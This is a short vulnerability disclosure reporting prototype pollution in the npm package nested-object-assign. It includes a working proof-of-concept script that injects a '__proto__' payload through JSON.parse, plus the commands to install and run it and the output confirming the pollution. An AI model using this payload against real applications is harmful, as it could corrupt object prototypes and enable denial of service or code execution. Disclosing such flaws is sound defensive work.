Prototype Pollution in geta/nestedobjectassign


Reported on

Jan 28th 2021


nested-object-assign is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const assign = require('nested-object-assign')

console.log('Before: ' + {}.polluted)
assign({}, JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ' + {}.polluted)
  1. Execute the following commands in the terminal:
npm i nested-object-assign # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true


Prototype Pollution leads to Information Disclosure/DoS/RCE.

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